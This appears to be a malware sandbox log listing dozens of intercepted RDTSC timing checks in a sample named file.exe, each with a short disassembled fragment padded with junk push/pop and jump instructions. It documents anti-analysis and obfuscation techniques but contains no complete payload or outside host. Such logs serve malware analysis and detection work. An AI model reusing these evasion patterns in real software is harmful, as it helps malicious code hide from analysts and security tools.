Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CEC1 second address: F2CEE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F0580563BA6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c jp 00007F0580563BACh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CEE2 second address: F2CEF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F0580C30A76h 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007F0580C30A76h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F323DE second address: F323E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F323E4 second address: F32400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32400 second address: F32410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jc 00007F0580563BB8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32410 second address: F32414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8C45 second address: EC8C58 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F0580563BA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8C1A second address: EC8C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A89h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F0580C30A76h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31046 second address: F31066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580563BAAh 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0580563BADh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3175E second address: F31777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A7Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F0580C30A76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F318BE second address: F318DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F0580563BA6h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F0580563BA6h 0x00000017 jg 00007F0580563BA6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31A0D second address: F31A17 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0580C30A76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31A17 second address: F31A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BA1 second address: F31BB9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a jl 00007F0580C30A78h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BB9 second address: F31BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BBD second address: F31BCA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BCA second address: F31BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BD3 second address: F31BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BD7 second address: F31BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31BE1 second address: F31BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35838 second address: F3583C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3583C second address: F35842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35842 second address: F35848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C6A7 second address: F3C6AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C6AC second address: F3C6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C6B9 second address: F3C6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD13B second address: EBD140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0010D second address: F00131 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F0580C30A83h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F0580C30A76h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00131 second address: F00143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00143 second address: F00154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580C30A7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00779 second address: F00786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00786 second address: F0078B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0078B second address: F007A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0580563BB0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F007A9 second address: F007CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007F0580C30A84h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F007CB second address: F007CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F007CF second address: F007E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F007E3 second address: F007E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00999 second address: F009E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0580C30A8Fh 0x0000000c jmp 00007F0580C30A89h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 jmp 00007F0580C30A85h 0x0000001a push 00000004h 0x0000001c sub dword ptr [ebp+1247F4B0h], edi 0x00000022 nop 0x00000023 pushad 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 pop edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00DC4 second address: F00DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00DCA second address: F00DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00F23 second address: F00F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01099 second address: F010A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F0580C30A7Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010A8 second address: F010C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F0580563BB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010C8 second address: F010E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0580C30A85h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010E4 second address: F010E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010E8 second address: F01107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c jng 00007F0580C30A78h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d pop eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F011BF second address: F011C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F011C3 second address: F011C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F011C7 second address: F011D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F011D2 second address: F011D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F011D8 second address: F0123B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F0580563BA8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 movzx ecx, si 0x00000024 lea eax, dword ptr [ebp+12487CF9h] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F0580563BA8h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 mov edi, dword ptr [ebp+122D253Ch] 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B790 second address: F3B795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDA1 second address: F3BDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDA5 second address: F3BDB1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0580C30A76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDB1 second address: F3BDC5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0580563BAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDC5 second address: F3BDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDCB second address: F3BDD5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0580563BA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BF39 second address: F3BF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C082 second address: F3C08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C08E second address: F3C092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C1D4 second address: F3C1E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C1E1 second address: F3C1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C1E5 second address: F3C207 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41A93 second address: F41AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A86h 0x00000009 ja 00007F0580C30A76h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F0580C30A7Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40D40 second address: F40D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40D45 second address: F40D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F0580C30A76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40450 second address: F4046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0580563BA6h 0x0000000a ja 00007F0580563BA6h 0x00000010 popad 0x00000011 jg 00007F0580563BC5h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4046B second address: F40471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40471 second address: F40475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4119B second address: F411A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F411A1 second address: F411DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007F0580563BACh 0x0000000b jmp 00007F0580563BB8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0580563BABh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F411DB second address: F411E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F411E2 second address: F411F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F0580563BA6h 0x0000000a jmp 00007F0580563BACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F414BA second address: F414F2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0580C30A76h 0x00000008 jmp 00007F0580C30A89h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jng 00007F0580C30A76h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a jo 00007F0580C30A76h 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F417AC second address: F417B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F417B0 second address: F417D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A82h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F0580C30A76h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F417D2 second address: F417E2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0580563BA6h 0x00000008 jp 00007F0580563BA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45194 second address: F4519C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4519C second address: F451A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45375 second address: F45381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0580C30A76h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47A81 second address: F47AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0580563BB3h 0x0000000b jmp 00007F0580563BB2h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47AB0 second address: F47AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47AB6 second address: F47ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CACD second address: F4CAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C394 second address: F4C3A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F0580563BA6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F505FF second address: F50605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC70E3 second address: EC70E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC70E9 second address: EC711A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0580C30A86h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0580C30A81h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FDA4 second address: F4FDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F500B6 second address: F500D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop esi 0x0000000b push edx 0x0000000c jmp 00007F0580C30A80h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55B3D second address: F55B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55B41 second address: F55B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55B45 second address: F55B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push esi 0x0000000f jbe 00007F0580563BA6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
